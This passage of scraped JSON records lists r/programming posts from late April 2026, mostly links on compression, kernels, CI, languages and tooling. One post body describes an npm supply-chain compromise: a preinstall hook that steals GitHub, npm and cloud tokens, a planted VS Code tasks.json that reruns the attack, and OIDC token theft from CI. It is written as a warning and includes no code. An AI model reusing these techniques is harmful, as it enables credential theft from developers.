  "body": "Adaptive compression is critically important for analytical workloads as it reduces storage costs and can dramatically speedup query execution. Great reads on this: [DuckDB lightweight compression](https://duckdb.org/2022/10/28/lightweight-compression), [BtrBlocks](https://www.cs.cit.tum.de/fileadmin/w00cfj/dis/papers/btrblocks.pdf) and [FastLanes](https://ir.cwi.nl/pub/35881/35881.pdf).\n\nInverted indexes deal with millions of sorted integers and could benefit from the same ideas, but posting lists have their own specifics: values are monotonically increasing integers, blocks are much smaller compared to columnar storage and the access pattern is typically different.\n\nThe article is a deep dive into how we implemented per-block adaptive compression for our open-source inverted indexing engine IResearch, what problems we ran into and how we solved them.\n\nGitHub: [https://github.com/serenedb/serenedb](https://github.com/serenedb/serenedb)",
  "author": "mr_gnusi",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.91,
  "numComments": 1,
  "createdAt": "2026-05-01T11:21:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.serenedb.com/search-optimization-5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t0m1pn",
  "url": "https://www.openwall.com/lists/oss-security/2026/04/30/10",
  "permalink": "https://www.reddit.com/r/programming/comments/1t0m1pn/for_linux_kernel_vulnerabilities_there_is_no/",
  "title": "For Linux kernel vulnerabilities, there is no heads-up to distributions",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 164,
  "upvoteRatio": 0.89,
  "numComments": 21,
  "createdAt": "2026-05-01T07:08:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.openwall.com/lists/oss-security/2026/04/30/10",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t08t7r",
  "url": "https://lemire.me/blog/2026/04/27/you-can-beat-the-binary-search/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t08t7r/you_can_beat_the_binary_search/",
  "title": "You can beat the binary search",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 207,
  "upvoteRatio": 0.91,
  "numComments": 39,
  "createdAt": "2026-04-30T20:57:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lemire.me/blog/2026/04/27/you-can-beat-the-binary-search/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t06td1",
  "url": "https://discord.com/blog/behind-the-scenes-of-the-3-25-26-voice-outage",
  "permalink": "https://www.reddit.com/r/programming/comments/1t06td1/youve_got_too_much_mail_behind_the_scenes_of_the/",
  "title": "You’ve Got (Too Much) Mail: Behind the Scenes of the 3/25/26 Voice Outage",
  "body": null,
  "author": "swdevtest",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.78,
  "numComments": 2,
  "createdAt": "2026-04-30T19:45:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://discord.com/blog/behind-the-scenes-of-the-3-25-26-voice-outage",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t058mu",
  "url": "https://arstechnica.com/gadgets/2026/04/microsoft-open-sources-the-earliest-dos-source-code-discovered-to-date",
  "permalink": "https://www.reddit.com/r/programming/comments/1t058mu/microsoft_opensources_the_earliest_dos_source/",
  "title": "Microsoft open-sources \"the earliest DOS source code discovered to date\"",
  "body": "Old 86-DOS source code dates back to the time before Microsoft bought it.\n\nApril 30, 2026",
  "author": "Choobeen",
  "subreddit": "programming",
  "score": 763,
  "upvoteRatio": 0.97,
  "numComments": 54,
  "createdAt": "2026-04-30T18:48:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/gadgets/2026/04/microsoft-open-sources-the-earliest-dos-source-code-discovered-to-date",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t04cxo",
  "url": "https://www.opendata.dev/blog/buffer-ha-pipelines-without-kafka/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t04cxo/ha_pipelines_without_kafka/",
  "title": "HA pipelines without Kafka",
  "body": null,
  "author": "NoPercentage6144",
  "subreddit": "programming",
  "score": 42,
  "upvoteRatio": 0.86,
  "numComments": 11,
  "createdAt": "2026-04-30T18:16:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.opendata.dev/blog/buffer-ha-pipelines-without-kafka/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szxsk7",
  "url": "https://www.iankduncan.com/engineering/2026-02-06-bash-is-not-enough",
  "permalink": "https://www.reddit.com/r/programming/comments/1szxsk7/no_really_bash_is_not_enough_why_largescale_ci/",
  "title": "No, Really, Bash Is Not Enough: Why Large-Scale CI Needs an Orchestrator",
  "body": null,
  "author": "someone-very-cool",
  "subreddit": "programming",
  "score": 166,
  "upvoteRatio": 0.84,
  "numComments": 69,
  "createdAt": "2026-04-30T14:32:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.iankduncan.com/engineering/2026-02-06-bash-is-not-enough",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sztx3r",
  "url": "https://jointhefreeworld.org/blog/articles/lisps/why-i-still-reach-for-scheme-instead-of-haskell/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sztx3r/why_i_still_reach_for_scheme_and_lisp_instead_of/",
  "title": "Why I Still Reach for Scheme and Lisp Instead of Haskell",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.64,
  "numComments": 9,
  "createdAt": "2026-04-30T11:55:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jointhefreeworld.org/blog/articles/lisps/why-i-still-reach-for-scheme-instead-of-haskell/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szs6p3",
  "url": "https://blog.dochia.dev/blog/code_review_rarely_find_bugs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1szs6p3/what_code_review_cant_see_and_bad_data_always/",
  "title": "What Code Review Can't See (And Bad Data Always Finds)",
  "body": null,
  "author": "ludovicianul",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 2,
  "createdAt": "2026-04-30T10:29:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dochia.dev/blog/code_review_rarely_find_bugs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szrkre",
  "url": "https://copy.fail",
  "permalink": "https://www.reddit.com/r/programming/comments/1szrkre/copy_fail_an_exploit_for_all_linux_distributions/",
  "title": "Copy Fail: an exploit for all Linux distributions since 2017",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 504,
  "upvoteRatio": 0.94,
  "numComments": 131,
  "createdAt": "2026-04-30T09:55:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://copy.fail",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szqpxo",
  "url": "https://docs.amber-lang.com/getting_started/whats_new",
  "permalink": "https://www.reddit.com/r/programming/comments/1szqpxo/amberlang_060_new_release_bash_transpiler/",
  "title": "Amber-Lang 0.6.0 - New release (Bash transpiler)",
  "body": "As per title finally after more then 6 months we are releasing the new 0.6.0 release!\n\nIn this release we put a lot of effort on looking on feedbacks after the Fosdem talks and reception we got on socials.\n\nThis release brings multi-shell support (Bash, Zsh, Ksh, and even Bash 3.2), making it easier to deploy scripts across different UNIX environments. Key additions include recursive functions, union types, and public (pub) variables for better modularity.  \nThe language also introduces a built-in testing suite with assert and assert_eq, plus stricter validation for failable functions and variable usage.  \nPerformance gets a boost with native Bash arithmetic for integer operations, reducing dependencies on bc/sed.  \nNew builtins like fetch() for HTTP requests, touch(), rm(), and ls() expand Amber’s capabilities, while the license switch to LGPL makes it more friendly for proprietary projects.  \nBreaking changes include mandatory parentheses for builtins (e.g., echo(\"text\")) and stricter error handling for out-of-bounds array access.\n\nIncluding Debian/RPM packages, improved CI/CD with nightly builds, and better shellcheck integration. The standard library grows with helpers for filesystem, environment, and text manipulation.\n\nWe are still a lot of stuff to do but we are proceeding faster as we are getting more contributors :-D",
  "author": "Mte90",
  "subreddit": "programming",
  "score": 45,
  "upvoteRatio": 0.9,
  "numComments": 6,
  "createdAt": "2026-04-30T09:05:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.amber-lang.com/getting_started/whats_new",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szmnmb",
  "url": "https://fagnerbrack.com/learn-algorithms-for-interviews-forget-them-for-work-c7dc5fe6cd3b",
  "permalink": "https://www.reddit.com/r/programming/comments/1szmnmb/learn_algorithms_for_interviews_forget_them_for/",
  "title": "Learn Algorithms for Interviews, Forget Them for Work",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 116,
  "upvoteRatio": 0.89,
  "numComments": 22,
  "createdAt": "2026-04-30T05:14:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/learn-algorithms-for-interviews-forget-them-for-work-c7dc5fe6cd3b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1szmg7e",
  "url": "https://www.postpilot.dev/blog/understanding-cors-for-api-developers",
  "permalink": "https://www.reddit.com/r/programming/comments/1szmg7e/understanding_cors_what_actually_blocks_your_api/",
  "title": "Understanding CORS: What Actually Blocks Your API Requests",
  "body": null,
  "author": "lactranandev",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 4,
  "createdAt": "2026-04-30T05:03:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.postpilot.dev/blog/understanding-cors-for-api-developers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sz97hf",
  "url": "https://bastrich.tech/perfect-code-review/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sz97hf/the_perfect_code_review_how_to_reduce_cognitive/",
  "title": "The PERFECT Code Review: How to Reduce Cognitive Load While Improving Quality",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 140,
  "upvoteRatio": 0.89,
  "numComments": 32,
  "createdAt": "2026-04-29T19:36:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bastrich.tech/perfect-code-review/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sz8reb",
  "url": "https://kristaps.bsd.lv/devsecflops/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sz8reb/source_code_sandboxing/",
  "title": "Source code sandboxing",
  "body": null,
  "author": "Active-Fuel-49",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.86,
  "numComments": 0,
  "createdAt": "2026-04-29T19:20:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kristaps.bsd.lv/devsecflops/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sz6j93",
  "url": "https://www.agwa.name/blog/post/fastcgi_is_the_better_protocol_for_reverse_proxies",
  "permalink": "https://www.reddit.com/r/programming/comments/1sz6j93/fastcgi_30_years_old_and_still_the_better/",
  "title": "FastCGI: 30 Years Old and Still the Better Protocol for Reverse Proxies",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 203,
  "upvoteRatio": 0.92,
  "numComments": 16,
  "createdAt": "2026-04-29T18:03:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.agwa.name/blog/post/fastcgi_is_the_better_protocol_for_reverse_proxies",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sz11dg",
  "url": "https://read.thecoder.cafe/p/linux-broke-postgresql",
  "permalink": "https://www.reddit.com/r/programming/comments/1sz11dg/how_linux_70_broke_postgresql_the_preemption/",
  "title": "How Linux 7.0 Broke PostgreSQL: The Preemption Regression Explained",
  "body": "I wrote about a recent case where Linux 7.0 cut a PostgreSQL benchmark's throughput in half. I tried to explain it from first principles. Please let me know what you think :)",
  "author": "teivah",
  "subreddit": "programming",
  "score": 110,
  "upvoteRatio": 0.82,
  "numComments": 57,
  "createdAt": "2026-04-29T14:50:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://read.thecoder.cafe/p/linux-broke-postgresql",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sz094x",
  "url": "https://safedep.io/mini-shai-hulud-and-sap-compromise/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sz094x/someone_compromised_saps_npm_packages_and_used/",
  "title": "Someone compromised SAP's npm packages and used the CI pipeline against itself",
  "body": "We founded 4 SAP packages which were actually published today with a malicious preinstall hook. packages are `cap-js/sqlite`, `cap-js/postgres`, `cap-js/db-service`, and `mbt` The payload is stealing GitHub tokens, npm tokens or AWS/Azure/GCP credentials, and then uses the stolen GitHub token to commit back into the victim's own repos which in return dropping a vs code `tasks.json` that re runs the attack every time someone opens the project.\n\nthe interesting thing we found that the attacker modified CI workflow to extract an OIDC token and publish to npm directly which bypass the normal release pipeline entirely. The malicious versions have zero SLSA attestations otherwise the legit ones have two. If you run any of these packages, rotate everything now please",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 159,
  "upvoteRatio": 0.97,
  "numComments": 19,
  "createdAt": "2026-04-29T14:21:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/mini-shai-hulud-and-sap-compromise/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syzsbq",
  "url": "https://blog.geekuni.com/2026/04/python-concurrency.html?m=1",
  "permalink": "https://www.reddit.com/r/programming/comments/1syzsbq/learn_concurrency_a_deep_dive_into_multithreading/",
  "title": "Learn concurrency - a deep dive into multithreading with Python",
  "body": null,
  "author": "pmz",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.85,
  "numComments": 8,
  "createdAt": "2026-04-29T14:04:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.geekuni.com/2026/04/python-concurrency.html?m=1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syxa7y",
  "url": "https://sean.taylormadetech.dev/2026/04/29/tmux-display-popup.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1syxa7y/replacing_neovims_terminal_with_tmuxs_displaypopup/",
  "title": "Replacing Neovim's terminal with tmux's display-popup",
  "body": "I spent the past couple of days battling this on and off to get it to work nicely. It's really helped my development flow and thought others might find it useful too.",
  "author": "Hell_Rok",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.84,
  "numComments": 10,
  "createdAt": "2026-04-29T12:24:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sean.taylormadetech.dev/2026/04/29/tmux-display-popup.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syx8io",
  "url": "https://www.gingerbill.org/article/2026/04/29/blessed-syntax-and-ergonomics/",
  "permalink": "https://www.reddit.com/r/programming/comments/1syx8io/blessed_syntax_and_ergonomics/",
  "title": "Blessed Syntax and Ergonomics",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.63,
  "numComments": 0,
  "createdAt": "2026-04-29T12:22:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2026/04/29/blessed-syntax-and-ergonomics/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syx77t",
  "url": "https://pin-gh-actions.kammel.dev/zizmor",
  "permalink": "https://www.reddit.com/r/programming/comments/1syx77t/96_of_github_repos_have_high_severity_issues_in/",
  "title": "96% of GitHub repos have high severity issues in their Action workflows",
  "body": null,
  "author": "datosh",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.75,
  "numComments": 7,
  "createdAt": "2026-04-29T12:21:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pin-gh-actions.kammel.dev/zizmor",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sywvc0",
  "url": "https://stoffelmpc.com/stoffel-blog/guide-to-secret-sharing?utm_source=reddit&utm_medium=social&utm_campaign=mpc-blog-series&utm_content=rprog",
  "permalink": "https://www.reddit.com/r/programming/comments/1sywvc0/introduction_to_secret_sharing_from_first/",
  "title": "Introduction to Secret Sharing from First Principles - Stoffel - MPC Made Simple",
  "body": null,
  "author": "badcryptobitch",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-04-29T12:06:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stoffelmpc.com/stoffel-blog/guide-to-secret-sharing?utm_source=reddit&utm_medium=social&utm_campaign=mpc-blog-series&utm_content=rprog",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sys6ti",
  "url": "https://youtu.be/WAtQ_ALQv5c",
  "permalink": "https://www.reddit.com/r/programming/comments/1sys6ti/playwright_record_the_tests_to_generate_the_code/",
  "title": "Playwright - Record the tests to generate the code",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.15,
  "numComments": 1,
  "createdAt": "2026-04-29T07:53:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/WAtQ_ALQv5c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sys1nm",
  "url": "https://softwaredoug.com/blog/2026/01/08/semantic-search-without-embeddings.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sys1nm/semantic_search_without_embeddings/",
  "title": "Semantic Search Without Embeddings",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.73,
  "numComments": 1,
  "createdAt": "2026-04-29T07:45:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://softwaredoug.com/blog/2026/01/08/semantic-search-without-embeddings.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syrgku",
  "url": "https://corrode.dev/blog/bugs-rust-wont-catch/",
  "permalink": "https://www.reddit.com/r/programming/comments/1syrgku/bugs_rust_wont_catch/",
  "title": "Bugs Rust Won't Catch",
  "body": null,
  "author": "yusufaytas",
  "subreddit": "programming",
  "score": 155,
  "upvoteRatio": 0.94,
  "numComments": 48,
  "createdAt": "2026-04-29T07:12:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://corrode.dev/blog/bugs-rust-wont-catch/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sylm66",
  "url": "https://sethmlarson.dev/pip-relative-dependency-cooldowns",
  "permalink": "https://www.reddit.com/r/programming/comments/1sylm66/pip_v261_adds_support_for_relative_dependency/",
  "title": "pip v26.1 adds support for relative dependency cooldowns",
  "body": null,
  "author": "overandoutage",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.93,
  "numComments": 6,
  "createdAt": "2026-04-29T02:16:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sethmlarson.dev/pip-relative-dependency-cooldowns",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syhw2x",
  "url": "https://syntheticauth.ai/posts/the-making-of-digital-identity-06-the-mobile-revolution-and-the-surveillance-machine",
  "permalink": "https://www.reddit.com/r/programming/comments/1syhw2x/the_making_of_digital_identity_the_mobile/",
  "title": "The Making of Digital Identity - The Mobile Revolution and the Surveillance Machine",
  "body": null,
  "author": "zerolayers",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 1,
  "createdAt": "2026-04-28T23:30:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://syntheticauth.ai/posts/the-making-of-digital-identity-06-the-mobile-revolution-and-the-surveillance-machine",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syg5pz",
  "url": "https://blog.42futures.com/p/company-as-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1syg5pz/company_as_code/",
  "title": "Company as Code",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.75,
  "numComments": 1,
  "createdAt": "2026-04-28T22:18:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.42futures.com/p/company-as-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1syectw",
  "url": "https://www.chiply.dev/post-vompeccc-fruits",
  "permalink": "https://www.reddit.com/r/programming/comments/1syectw/vompeccc_from_scratch_picking_produce_with_icr_in/",
  "title": "VOMPECCC from Scratch: Picking Produce with ICR in Emacs",
  "body": "\"This is the fourth post in a series on Emacs completion. The first argued that Incremental Completing Read (ICR) is a structural property of an interface rather than a convenience feature. The second broke the Emacs substrate into eight packages (collectively VOMPECCC) each solving one of the six orthogonal concerns of a complete completion system. The third walked through spot, a \\~1,100-line Spotify client built as a little shim on top of those packages.\n\nThis post is the hands-on complement to the spot post. Where the spot case study reviewed a finished codebase from the outside, this one builds a tiny produce picker tool from scratch, one VOMPECCC package at a time. The use case is deliberately trivial: we have a list of produce items (twenty fruits and ten vegetables) with some metadata, and we want to pick one and do something with it.\"",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-04-28T21:08:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-vompeccc-fruits",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sye8fc",
  "url": "https://mitchellh.com/writing/ghostty-leaving-github",
  "permalink": "https://www.reddit.com/r/programming/comments/1sye8fc/ghostty_is_leaving_github/",
  "title": "Ghostty Is Leaving GitHub",
  "body": null,
  "author": "davidcelis",
  "subreddit": "programming",
  "score": 1257,
  "upvoteRatio": 0.95,
  "numComments": 332,
  "createdAt": "2026-04-28T21:04:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mitchellh.com/writing/ghostty-leaving-github",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sy7qfr",
  "url": "https://youtu.be/LratWy-oJAI",
  "permalink": "https://www.reddit.com/r/programming/comments/1sy7qfr/spring_boot_graphql_multiple_queries_and/",
  "title": "Spring Boot Graphql Multiple Queries And Introspection",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 1,
  "createdAt": "2026-04-28T17:15:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/LratWy-oJAI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sy00b7",
  "url": "https://github.blog/news-insights/company-news/an-update-on-github-availability/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sy00b7/an_update_on_github_availability/",
  "title": "An update on GitHub availability",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 513,
  "upvoteRatio": 0.93,
  "numComments": 184,
  "createdAt": "2026-04-28T12:30:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/news-insights/company-news/an-update-on-github-availability/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1swbm8a",
  "url": "https://dubeykartikay.com/posts/sembed-engine-vector-search-performance/",
  "permalink": "https://www.reddit.com/r/programming/comments/1swbm8a/same_algorithm_16x_faster_optimizing_a_vector/",
  "title": "Same algorithm, 16x faster: optimizing a vector search engine’s hot path",
  "body": null,
  "author": "BgA_stan",
  "subreddit": "programming",
  "score": 370,
  "upvoteRatio": 0.97,
  "numComments": 31,
  "createdAt": "2026-04-26T16:08:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dubeykartikay.com/posts/sembed-engine-vector-search-performance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1suo0yr",
  "url": "https://functiondispatch.substack.com/p/the-complicated-nature-of-programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1suo0yr/the_complicated_nature_of_programming_languages/",
  "title": "The Complicated Nature of Programming Languages",
  "body": null,
  "author": "techne98",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 12,
  "createdAt": "2026-04-24T18:29:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://functiondispatch.substack.com/p/the-complicated-nature-of-programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1stoumz",
